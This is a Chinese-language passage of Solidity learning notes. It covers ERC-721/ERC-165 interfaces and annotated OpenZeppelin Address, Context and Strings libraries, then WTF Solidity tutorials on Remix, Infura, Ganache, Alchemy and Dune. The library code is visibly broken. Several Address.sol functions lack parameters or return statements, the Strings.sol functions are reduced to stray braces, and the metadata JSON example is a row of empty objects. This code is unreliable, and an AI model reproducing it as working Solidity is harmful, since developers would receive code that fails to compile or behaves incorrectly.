    /// @dev 零地址表示没有批准的地址。当`msg.sender`不是当前NFT的拥有者, 或被授权的第三方管理者时会抛出异常
    /// @param _approved 新批准的NFT控制者
    /// @param _tokenId 将要被授权的NFTID

    /// @notice

授权或者取消授权第三方管理者管理`msg.sender`账户下的所有资产（NFT）
    /// @dev 触发 ApprovalForAll 事件. 合约必须允许一个NFT的owner有多个被授权的第三方管理者
    /// @param _operator 被添加到第三方管理者集合的地址
    /// @param _approved 如果第三方管理者被批准，则为 true，取消批准则为 false

    /// @notice 查询某个NFT被授权给了哪个地址
    /// @dev 当NFT编号非法时抛出异常
    /// @param _tokenId 查询授权状况的那个NFT编号
    /// @return 返回当前NFT的授权地址，如果没有则返回零地址

    /// @notice 查询某个地址 '_owner'是否将他的NFT批量授权给了某个地址'_operator'
    /// @param _owner NFT拥有者的地址
    /// @param _operator 想要查询是否被授权的第三方管理者地址
    /// @return True 如果 `_operator` 被 `_owner` 认可，则返回 true，否则返回 false
}
```

# 个人心得：

**需求是最高级别的抽象**：在开发项目之前一定要弄清楚需求分析。

**接口是第二高级别的抽象**：学习智能合约要从接口出发，吃透了弄明白了，就可以拿着对接口的理解去批判对接口的实现。对一开始不太理解的接口最好不要从实现去反推合约的功能，那样就会陷入接口开发人员自己的理解中跳不出来，那时的自己已经缴械了。

**接口的定义之上，是需求的第一性原理**：比如在我理解来，721合约正式解决了 **归属权流转**的问题，利用这个原则，将来就可以不断改进721合约的方向。现实中围绕着归属权展开的一些列问题，都可以用以改进721合约。 

 买卖，借贷，赎回，抵押，被盗，销毁，拍卖，众筹，以物易物，分红，批量的mint，批量的transform……这一切的现实应用，都是将来改进合约的方向，所以要紧扣“第一性原理”

## ERC165

interface ERC165 {
    /// @notice 查询合约是否实现了某个接口
    /// @param interfaceID 在 ERC-165 中指定的用于标识接口的ID, as specified in ERC-165
    /// @dev 接口标识在 ERC-165 中指定。 这个功能使用少于 30,000 个气体
    /// @return 如果合约实现了`interfaceID`不为0xffffffff的接口 则返回返回`true 否则返回 `false` 
    function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
```

## ERC721TokenReceiver

// 钱包/经纪/拍卖申请如果要接受安全转移，则必须实现这个接口
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
    /// @notice 处理 NFT 的接收，代币的接收合约必须实现这个接口才能转账成功
    /// @dev  `transfer` 之后,ERC721智能合约在接收者上调用这个函数,如果没有实现onERC721Received此函数可能会抛出异常并且回滚交易
    /// @param _operator 调用 `safeTransferFrom` 函数的地址
    /// @param _from 之前拥本NFT的地址
    /// @param _tokenId 
    /// @param _data 没有指定格式的附加数据
    /// @return 返回`bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` 或者抛出异常
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
```

##

///   元数据扩展是可选的ERC-721智能合约(见下面的说明)。这允许询问你的智能合约的名称和你的NFTs所代表的资产的细节。
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
    /// @notice 返回NFT集合一个描述性质的名字
    function name() external view returns (string memory _name);

    /// @notice 本合约中 NFT 的简称
    function symbol() external view returns (string  memory _symbol);

    /// @notice 返回指定 _tokenId不同统一资源标识符 (URI)。
    /// @dev 如果 `_tokenId` 不是有效的 NFT，则异常。 URI 在 RFC 中定义
    /// 3986. URI可能指向一个符合“ERC721”的JSON文件

    function tokenURI(uint256 _tokenId) external view returns (string  memory);
}
```

![Untitled](.\img\3.png)

```json
{
    // 项目描述
  "image":

    {
    },
    {
    },
    {
    },
    {
    },
    {
    },
    {
    },
    {
    }
  ],
}

```

## Address.sol（暂时只看`isContract（）`方法就行了）

 **先导知识**  

![部账户和合约账户.png](./img/1-外部账户和合约账户.png)

外部账户（`EOA`）：由掌握私钥的人控制的账户；合约账户（`CA`）：账户由智能合约组成，没有私钥。

只有合约账户才有代码，其中存储的是 **codeHash**，合约的方法**isContract（）**利用这个属性来判断目标地址是不是合约地址。

```jsx
//

// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
/**
     * @dev 如果参数地址是一个合约地址则返回“true”
     * [IMPORTANT]
     * ====
     * 当该方法返回“false”就假定参数地址是个外部账户地址（EOA）而不是合约地址是不安全的
     * Among others, `isContract` will return false for the following
     * types of addresses:
     * 在包括以下（但不完全局限于以下）情况，“isContract（）”方法会返回“false”
                1. 确实是一个外部账户（由掌握私钥的人控制的账户）；
                2. 在合约的构造函数中，将本合约的地址address（this）作为参数传入调用isContract（）；
                3. 一个地址，合约将要被创建；（2、3 由“0xMax”补充。我理解就是，不一定是在当前交易上下文里调用这个isContract，或者是在一个交易的执行时，先执行isContract，再去调用Create或create2  ）
                4. 地址还在，但是合约已被销毁；
     * ====
     *
     * ====
     * 你不应该依赖 `isContract` 来防止闪贷攻击！
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for

contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
            * 替换Solidity语法中的transfer（）函数，转发所有可用gas，并在遇到错误的时候回滚。
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     *

Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     */
    function functionCall(
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     */
    function functionCallWithValue(
        uint256 value
        return functionCallWithValue(target, data, value,

"Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     */
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but

performing a static call.
     *
     */
    function functionStaticCall(
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
    }

    /**
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     *
     */
    function functionDelegateCall(
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) =

target.delegatecall(data);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                /// @solidity memory-safe-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
```

## Context.sol

```jsx
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the

actual sender (as far as an application
 * is concerned).
 * 提供当前交易执行的上下文信息，包括交易的发起者以及交易数据。尽管这些信息可以通过msg.sender 和 msg.data获取，但也不应该用这样直接方式获得。
    * 因为在处理初始交易的时候，帐户发送和为交易付费的可能不是实际的发送者
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
```

## String.sol

```jsx
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)

/**
 * @dev String operations.
 */
    uint8 private constant _ADDRESS_LENGTH = 20;

    /**
     */
    function toString(uint256 value) internal pure returns (string memory) {

        }
            digits++;
           
           temp /= 10;
        }
        }
    }

    /**
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        }
            length++;
            temp >>= 8;
        }
    }

    /**
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        }
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string

memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }
}
```

# WTF Solidity极简入门-工具篇1：Remix

WTF技术社群discord，内有加微信群方法：[链接](https://discord.gg/5akcruXrsk)

-----

`Remix`是以太坊官方推荐的智能合约开发IDE，非常易用。`Remix`让你可以直接在浏览器中快速部署测试智能合约，而不需要安装配置任何程序。这一讲，我们将完整的介绍如何使用`Remix`部署合约，并调用其中的函数。

**Remix官网**：[remix.ethereum.org](https://remix.ethereum.org)

## 1.打开Remix
![Remix Layout](./img/remix1.png)

打开官网进入`Remix`，我们可以看到Remix由四个面板组成：
1. 图标面板：上面有代表不同功能的图标，点击后，相应的功能个会显示在侧面版上。
2. 侧面版：各种功能的 `GUI`。
3. 主面板：代码编辑器。
4. 终端：将显示与 `GUI` 交互的结果，也可以在此处运行脚本。

## 2. 图标面板
![图标面板](./img/remix2.png)

图标面板默认有4个图标，其中`文件`，`编译`，`部署`是最常用的。在你添加更多的`remix`插件后，它们也会显示在图标面板上。

## 3. 部署简单合约
### i. 选择合约文件
首先点击`文件`图标，侧面版会变为`文件浏览器`。
![文件图标](./img/remix3.png)

我们可以在`文件浏览器`中管理我们的workspace，文件夹和文件。
![文件浏览器](./img/remix4.png)

在`contract`文件夹下面，有三个`remix`自带的合约例子，分别是`1_Storage.sol`,

`2_Owner.sol`和`3_Ballot.sol`。

点击`1_Storage.sol`，代码会显示在主面板的代码编辑器上。这个合约非常简单：它一个状态变量`number`，在链上存储一个`uint256`类型的数字；它有两个函数，`store()`函数将一个数字赋值给`number`变量；`retrieve()`展示`number`变量的数值。

### ii. 编译
接下来，点击`编译`图标，进入`Solidity Compiler`。在这里，我们选择`Solidity 0.8.7`版本，然后点击`Compile 1_Storage.sol`按钮进行编译。在合约成功编译后，`编译`图标上会显示绿色对勾。

![编译](./img/remix5.png)

你也可以尝试在优化中选在优化（`Enable Optimization`），次数设置为`200`，有时会省`gas`消耗。

### iii. 部署
下一步，我们要把编译好的合约部署到本地虚拟机或链上。首先点击`部署`，进入部署界面。

![部署](./img/remix6.png)

在`ENVIRONMENT`中，我们可以选择我们部署的环境，默认的是`JavaScript VM`，所有交易都在本地浏览器的沙盒区块链中执行，使用的是它给你的虚拟钱包地址；你也可以选择`Injected Web3`，即连接你的`metamask`钱包，所有交易会在真实的区块链中执行。

这里，我们选择`JavaScript VM`，你可以在钱包地址（`ACCOUNT`）栏看到虚拟机给你分配的测试地址。不需要调整`Gas`，也不用往合约里发送`ETH`。在`CONTRACT`栏中选择你要部署的合约`Storage`。`1_Storage.sol`文件中只有一个合约，因此默认就是部署它；但当文件包含多个合约时，我们需要手动选择要部署的合约。

点击`DEPLOY`键，部署完毕！

**注意**：如果我们选择的是`Injected Web3`来部署合约，每一笔交易都将上链，需要钱包确认交易并支付`gas`。

### iv. 调用
在合约部署成功后，我们可以在`Deployed

Contracts`中找到我们部署的合约`Storage`。展开它，我们将看到所有的外部函数：`store`和`retrieve`。

![调用](./img/remix7.png)

我们在`store`函数那行的文本框中输入`100`，并点击函数名调用它。调用成功后，我们可以在终端上看到`log`信息，点击`Debug`按钮可以查看交易详情。

![交易详情](./img/remix8.png)

之后，我们调用`retrieve`函数，显示`number`变量被成功更新为`100`。

![变量被更新为100，调用成功](./img/remix9.png)

## 总结

这一讲，我们介绍了如何使用`Remix`编译，部署并调用智能合约。

# WTF Solidity极简入门-工具篇2：Infura, 连接链下与链上的桥梁

我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用），每周更新1-3讲。

-----
`Infura`是Consensys(小狐狸钱包母公司)开发的区块链基础设施，帮助用户/开发者更好的与以太坊区块链交互。

## 连接应用和区块链

![链下链上交互](./img/infura1.png)

在以太坊上开发的Dapp应用（链下）需要与区块链（链上）交互。早期，以太坊上的基础设施很少，开发者需要在本地部署以太坊节点来完成链下和链上的交互，非常麻烦，且耗时数日。

`Infura`在链下、链上之间搭了一座桥，让两者的交互变的简单。它为用户提供对以太坊和IPFS网络的即时、可扩展的`API`访问。开发者在`Infura`官网注册后，就可以免费申请的以太坊`API KEY`，就可以利用`Infura`的节点与区块链交互。另外，小狐狸`metamask`钱包内置了`Infura`服务，方便用户访问以太坊网络。

## 创建`Infura` API Key

### 1. 打开Infura官网并注册

网址：[infura.io](https://infura.io)
![Infura官网](./img/infura2.png)

### 2. 创建API Key
注册后，进入控制台Dashboard，并点击右上角的 **CREATE NEW KEY** 按钮。

![创建API Key](./img/infura3.png)

### 3. 填写API Key信息

`NETWORK`选择 **Web3 API (Formerly

Ethereum)**，有的版本这里显示的是**Ethereum**，`NAME`随便填一个，我填的`WTF`，之后点击**CREATE**按钮。

![填写信息](./img/infura4.png)

### 4. API Key创建完毕

回到控制台Dashboard，可以看到名为`WTF`的API Key已经创建完毕。在控制台Dashboard，点击  **MANAGE KEY** 按钮，可以查看API Key详情。

![API Key创建完毕](./img/infura5.png)

### 5. 查看API Key详情

进入API Key详情页，我们可以看到我们的API Key（图中`184d`开头的一组密钥）。在下面的 **NETWORK ENDPOINT** 栏中，可以查到以太网主网/测试网的rpc节点链接，用于访问链上数据并交互。另外，你可以申请免费的Layer2 rpc节点，包括`Polygon`，`Optimism`和`Arbitrum`，但是需要绑定`visa`卡。领`Optimism`空投那次，公开rpc节点卡爆了，而使用`Infura`的私人rpc节点的人可以正常领取。

![查看信息](./img/infura6.png)

## 使用`Infura` API Key 
### Javascript (`ethers.js`)
在`ether.js`中，我们可以利用`Infura` API Key来创建`JsonRpcProvider`，与链上交互。

```javascript
const { ethers } = require("ethers");
// 填上你的Infura API Key
const INFURA_ID = '' 
const provider = new ethers.providers.JsonRpcProvider(`https://mainnet.infura.io/v3/${INFURA_ID}`)
```

### `Metamask`小狐狸钱包

进入小狐狸钱包设置 **Setting** 页面，点击网络 **Netowrk**，点击添加网络 **Add Network**。你可以利用下面的参数在小狐狸中添加`Optimism` Layer2链：

```
网络名称（Network Name）: Optimism
RPC URL：填在Infura申请的optimism rpc链接
链ID (Chain ID): 10
符号 (Chain

Symbol): ETH
区块链浏览器URL (Blockchain Explorer URL): https://optimistic.etherscan.io
```

![小狐狸配置私人rpc](./img/infura7.png)

## 总结

这一讲，我们介绍了如何创建并使用`Infura` API Key便捷访问以太坊区块链。

# WTF Solidity极简入门-工具篇3：Ganache，搭建本地测试网络

-----

`Ganache` 是一个适用于 “开发场景”（或开发过程中的）的 **以太坊区块链网络**，它使开发以太坊应用程序（的工作）更快、更容易、更安全。它包括所有流行的 RPC 功能和特性（如事件），并且可以确定性地运行以使开发变得轻而易举。

> 可以理解 ganache 是一个以太坊区块链“模拟器”，在开发过程中 “模拟” 生产环境、方便的获取合约调用的上下文。

> ⚠️ 注意：**请不要在生产环境中作为区块链网络使用** 如果需要请使用 geth 或 openethereum 等节点应用。

`Ganache` 同时有着 GUI 版本，适合于新手快速配置使用。

## Ganache 的项目设施

- 官网：[https://trufflesuite.com/ganache/](https://trufflesuite.com/ganache/)
- 文档：[https://trufflesuite.com/docs/ganache/](https://trufflesuite.com/docs/ganache/)
- Github：
  - UI: [https://github.com/trufflesuite/ganache-ui](https://github.com/trufflesuite/ganache-ui)
  - CLI: [https://github.com/trufflesuite/ganache](https://github.com/trufflesuite/ganache)
  - 旧版（已弃用）:

[https://github.com/trufflesuite/ganache-cli](https://github.com/trufflesuite/ganache-cli)
- 适用于命令行/npm的文档：[https://trufflesuite.com/blog/introducing-ganache-7/](https://trufflesuite.com/blog/introducing-ganache-7/)

> ⚠️ 注意：Ganache 的官网中的 Github repo 为UI版本。CLI 版本在 npm 中有 `ganache` & `ganache-cli`，其中 `ganache-cli` 已被弃用。

## 为什么要使用Ganache？

Ganache 的主要功能有：
- 开箱即用，快速启动一个EVM区块链网络（可以设置 miner、出块时间）；
- 方便的 fork（分叉）已经存在的区块链网络（无需等待区块同步）；
- [使用 `console.log`](https://github.com/trufflesuite/ganache#consolelog-in-solidity) 在 Solidity 开发过程中方便的调试，；
- [快进时间（Fast-forward time）](https://trufflesuite.com/blog/introducing-ganache-7/#6-fast-forward-time)，模拟智能合约在未来时间的状态；
- 模拟任何一个账户（你可以无需私钥模拟环境中使用任意用户的Token）；

有的时候想要实现合约的测试，或者一些合约开发，你需要去测试网领取eth。有时候faucet又没有eth可以领取，这个时候，其实你可以选择自己在本地 fork 一个网络，想要多少eth都可以直接生成。原理是 fork 一个主网的网络运行在本地（或是可以称作运行在本地的 Chain）。

fork主网还有一个好处，你可以直接mock现在主网上的所有环境，比如dex交易所的代币余额等，你知道合约地址，可以直接进行测试和交换使用等。

## 命令行安装（推荐）

[完整包的说明 ganache - npm](https://www.npmjs.com/package/ganache)
```shell
npm install ganache --global
```
您也可以单独安装该项至您的项目目录（在不使用

`--global` 的情况下）编写 `package.json` 中的 script 配置启动。  
在 Ganache 7 后您可以在 node.js 的 Javascript 脚本中引入并直接使用。它将会提供一个 [EIP-1193(Ethereum Provider JavaScript API)](https://eips.ethereum.org/EIPS/eip-1193) provider、一个 JSON-RPC 服务端、Web3.js & ethers provider。同时您也可以在[浏览器中](https://github.com/trufflesuite/ganache#browser-use)使用它。

### 启动GANACHE

```shell
ganache
```

### 帮助 / 说明
```
ganache --help
```
通过帮助，你可以了解 ganache 的主要功能和相关配置方法、参数。这其中包括：
- **Chain**: 设置网络的版本、ID、时间、合约大小限制、hardfork的版本规则；
- **Database**: 设置保存链到数据库；
- **Logging**: 设置 EVM opcodes、RPC 请求和响应的 log；
- **Miner**: 设置矿工，包括：出块时间、默认的 gas price、Txn gas limit、难度、instamine、价格上涨；
- **Wallet**: 设置钱包的默认余额、解锁钱包；
- **Fork**: 分叉（fork）网络的设置包括：fork 目标网络 RPC URL、块高、userAgent、缓存策略，支持提供用户名/密码（如果目标 RPC 存在 Basic Authentication）；
- **Server**: 设置本地 Chain 的监听地址&端口；
### Fork 主网启动

以下命令会自动生成10个eth账号，每个账号带有100eth的数量。

```shell
ganache -f https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY
```

您也可以fork其他以太坊区块链网络，例如 BSC、Polygon、Astar 等，您需要寻找并使用他们的RPC节点。

###

Fork主网固定账号启动

`wallet.accounts`主要参数为私钥和需要生成的eth数量。

注意单位为`wei`，案例中换算之后是`1000eth`

```shell
ganache -f https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY --wallet.accounts=ACCOUNT_PRIATE_KEY,AMOUNT_WEI --wallet.accounts=ACCOUNT_PRIATE_KEY,1000000000000000000000
```

### 推进时间 (Fast Forward time)

需要操纵时间的原因或场景：一些合约锁住了用户的Token，设计了释放周期/时间逐步释放这些被锁住的Token，或者在未来某个特定时间允许用户进行一些操作。

Ganache 允许我们通过 RPC 调用（方法 `evm_increaseTime` 和 `evm_setTime` ）来推进区块链上的时间。

大多数情况下我们无法等到这个时间，我们可以使用 `evm_increaseTime` 将区块链当前时间戳**增加指定的时间量**（以秒为单位）（以十六进制格式传入）。这将返回以毫秒为单位调整的总时间。

```
curl -H 'Content-Type: application/json' --data' {"jsonrpc": "2.0", "id": 1, "method": "evm_increaseTime", "params": ["0x15180"] }' http://localhost:8545
```

此外，您可以使用 `evm_setTime` 将其设置为特定的时间戳；它接受具有毫秒精度的 JavaScript 时间戳，并返回给定时间戳和当前时间之间的秒数。

这里有个在项目中应用的案例（很实用）：[liquity 项目合约测试 - ForwardTime 的功能实现](https://github.com/liquity/dev/blob/0c61ed8b7181450da214d4f10a1327c2082bd4f4/packages/contracts/utils/testHelpers.js#L1104-L1119)
### 通过GUI使用 Ganache
不太推荐，如果你是新上手，可以通过这个快速熟悉 Ganache。

[点击下载Ganache - Truffle

Suite](https://trufflesuite.com/ganache/)

#### 客户端界面
![](./img//ganache-7.png)

#### 初始化新建工作空间

![](./img//ganache-8.png)

点击quickstart就可以快速启动，但是快速启动默认的网络端口是 7545，如果你用remix链接的时候需要修改一下。启动完成之后就如下图所示：

![](./img/ganache-9.png)

第一行可以看到你现在的网络`rpc server`, 默认是地址和端口是`127.0.0.1:7545`，如果你在remix中使用默认的，需要把端口改为7545。

#### remix 链接默认ganache

![](./img/ganache-10.png)

选择环境为 ganache provider，具体端口看你的设置,需要跟ganache的端口一致。

![](./img/ganache-11.png)

端口改为和本地ganache默认一样的`7545`

#### 测试部署一个合约

这里能看到区块里的交易信息，显示我部署了一个合约地址。

![](./img/ganache-12.png)

![](./img/ganache-13.png)

#### 自定义配置

有时候你可能需要自定义配置，比如你的网络端口，或者你需要fork主网，你可以在初始化空间的时候配置。

选择`new workspace`

![](./img/ganache-14.png)

#### 设置端口和网络ID

端口：可以将默认端口7545改成8545，看你的习惯

![](./img/ganache-15.png)

#### fork主网

这里的地址填入你alchemy的的主网地址即可

没有的话申请一个 [Alchemy - Blockchain APIs and Node Infrastructure](https://alchemy.com/?r=7ad384cba6732c9d) 或者参考 [Infura, 连接链下与链上的桥梁](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL02_Infura/readme.md) 申请一个infura的链接。

在chain forking下面的`ENTER

CUSTOM URL`里面填入你的eth mainnet地址即可

![](./img/ganache-16.png)

#### 设置固定账号和余额

![](./img/ganache-17.png)

最后点击 save workspace 就可以启动啦。

## web3js/ethersjs 链接 ganache
ganache生成的本地rpc地址为 `127.0.0.1:8545` UI的默认地址和命令行有区别，所以我上述做了变更。像remix默认使用的就是8454端口

```js

// web3js

const web3 = new Web3(Web3.givenProvider || "http://127.0.0.1:8545");

// ethersjs
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545");

```

## remix链接本地ganache

把环境链接修改为 ganache即可没，这样你就可以把他部署在你本地的eth网络环境上了。

![](./img/ganache-1.png)

### 测试部署合约

这里就将合约部署在了我们本地运行的ganache上。

![](./img/ganache-2.png)

命令行会输出部署的相应细节

![](./img/ganache-3.png)

可以看到部署成功之后，可以方便的调用各种方法

![](./img/ganache-4.png)

### 部署合约，查询v神余额

这个合约写了一个可以查询eth余额的方法，因为我们fork了主网，所以查询一下v神在我们本地测试网络的余额，应该和主网的余额是一样的。

// contracts/GLDToken.sol†

contract XBXToken {

    function getETHBalance(address _address) view external returns(uint256) {
        return address(_address).balance;
   
   }

}

```

[v神主网钱包地址](https://etherscan.io/address/0xab5801a7d398351b8be11c439e05c5b3259aec9b)

![](./img/ganache-5.png)

通过remix调用查看fork之后，本地部署该地址余额

![](./img/ganache-6.png)

本地fork的网络查询v神余额与主网上的余额一致，fork主网测试成功。

## 总结

至此我们就完整fork了一个主网，为下一步做合约开发搭建好了必要的本地环境。

# WTF Solidity极简入门-工具篇4：Alchemy, 区块链API和节点基础设施

-----
## Alchemy是什么

`Alchemy` 超级节点是 Ethereum、Polygon、Solana、Arbitrum、Optimism、Flow 和 Crypto.org 使用最广泛的区块链 API。获得节点的所有功能，包括 JSON-RPC 支持，但具有在区块链上运行世界级应用程序所需的超强可靠性、数据准确性和可扩展性。

`Alchemy` 和 `Infura`在链下、链上之间搭了一座桥，让两者的交互变的简单。它为用户提供对以太坊和IPFS网络的即时、可扩展的`API`访问。开发者在`Alchemy` 和 `Infura`官网注册后，就可以免费申请的以太坊`API KEY`，就可以利用它们的节点与区块链交互。另外，小狐狸`metamask`钱包内置了`Infura`服务，方便用户访问以太坊网络。

关于`Infura`的介绍，可以参考 [WTF Solidity极简入门-工具篇2：Infura, 连接链下与链上的桥梁](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL02_Infura/readme.md)

## Alchemy 和 Infura 的区别

![Alchemy 和 Infura 的区别](./img/alchemy-1.png)

左边是`alchemy` 右边是

`Infura`，我们来对比下免费的套餐

### 访问量的区别

`Alchemy`每天没有访问限制，`Infura`每天有100,000的访问限制。

`Alchemy`每个月有`300,000,000`的访问量，`Infura`每个月有`3,000,000`的访问量。

### 支持公链的区别（免费版本）

![公链的区别](./img/alchemy-2.png)

`Alchemy`支持：ETH、Polygon、Solana、Arbitrum、Optimism

`Infura`支持：ETH、ETH2、IPFS、Filecoin 

### Alchemy支持enhanced-apis

![Alchemy支持enhanced-apis](./img/alchemy-3.png)

Alchemy自己封装了一些web3的api，大家可以自己看文档获取更多的细节。

[Alchemy - enhanced-apis](https://dashboard.alchemyapi.io/enhanced-apis)

## 创建`Alchemy` API Key

### 1. 打开Alchemy官网并注册

网址：[alchemy.com](https://www.alchemy.com/)

![Alchemy官网](./img/alchemy-4.png)

注册后，进入控制台Dashboard，并点击右上角的 **+ CREATE APP** 按钮。

![创建API Key](./img/alchemy-5.png)

`CHAIN`：选择你需要的网络，如果是以太网就是 `Ethereum`。

`NETWORK`:并选择是主网还是测试网。

![填写API Key信息](./img/alchemy-6.png)

填写完成之后点击 `CREATE APP` 即可创建。

回到控制台Dashboard，可以看到名为`WTFSolidity`的API Key已经创建完毕。在控制台Dashboard，点击  **view key** 按钮，可以查看API Key详情。

![查看api key](./img/alchemy-7.png)

可以看到我们创建好了相应的api

key，最常用的https和websockets都支持。

![查看api key 详情](./img/alchemy-8.png)

## 使用`Alchemy` API Key 

在`ether.js`中，我们可以利用`Alchemy` API Key来创建`JsonRpcProvider`，与链上交互。

// 填上你的Alchemy API Key
const ALCHEMY_ID = '' 
const provider = new ethers.providers.JsonRpcProvider(`https://eth-mainnet.g.alchemy.com/v2/${ALCHEMY_ID}`)
```

进入小狐狸钱包设置 **Setting** 页面，点击网络 **Netowrk**，点击添加网络 **Add Network**。你可以利用下面的参数在小狐狸中添加`Alchemy` 的eth链：

```
网络名称（Network Name）: Alchemy-eth
RPC URL：填在alchemy申请的optimism rpc链接
链ID (Chain ID): 1
符号 (Chain Symbol): ETH
区块链浏览器URL (Blockchain Explorer URL): https://etherscan.io
```

![小狐狸钱包添加新的网络](./img/alchemy-9.png)

## 总结

这一讲，我们介绍了如何创建并使用`Alchemy` API Key便捷访问以太坊区块链。

# WTF Solidity极简入门-工具篇5：使用Dune可视化区块链数据 

-----
## Dune是什么？

`Dune`是区块链查询分析工具，每个人可以通过写类sql语言查询区块链上的所有信息，例如巨鲸，链上交易的数据等等。同时`Dune`能便捷的将数据转换为可视化的图表。

> 以太坊是数据库，智能合约是数据表，来自钱包的交易是每个表中的行。

这句话讲出了区块链的精髓：区块链本质上就是公开的存储数据的分布式账本，现在我们可以通过Dune来查询这个分布式账本的数据。

[Dune官网](https://dune.xyz/)

![dune可视化](./img/1.png)

![dune可视化](./img/2.png)

## 第一个查询

目标：查询**过去 24 小时在 Uniswap 上购买的 DAI稳定币**

1. 注册登陆Dune。
2. 点击右上角**new query**新建查询，输入代码：

    ```sql
    SELECT
    SUM(token_a_amount) AS dai_bought
    FROM
    dex."trades"
    WHERE
    block_time > now() - interval '24 hours'
    AND token_a_symbol = 'DAI'
    AND project = 'Uniswap';
    ```
3. 点击右下角的**Run**执行查询，得到最近的24h内通过uniswap购买DAI的的数量。

![dune sql query](./img/3.png)

## 从0开始构建查询

**目标：学会使用 SELECT, WHERE,

LIMIT**

我们查询其中一个表，以aave为例：[aave合约](https://etherscan.io/address/0x398ec7346dcd622edc5ae82352f02be94c62d119#writeProxyContract)

通过查询aave这个合约，它有deposit（存储）这个方法，并且有该事件（事件会在执行的时候广播）。

![etherscan](./img/6.png)

回到Dune查找对应的表，根据在Ethereum上搜索aave相关的表，并对应事件,`LendingPool_evt_Deposit`找到该表。

![dune query db table](./img/13.png)

### 学习：SELECT 、 LIMIT、WHERE查询数据

然后我们通过Dune可以查询对应的存储数据

```sql
SELECT * FROM aave."LendingPool_evt_Deposit"
limit 100
```

![dune query](./img/7.png)

就可以得到aave合约中存储方法的相应数据，通过这个数据可以做一些筛选

#### 各个字段的意义

_user：发起存款的钱包地址

_reserve：作为抵押品存放的代币地址

_amount：存入的代币数量

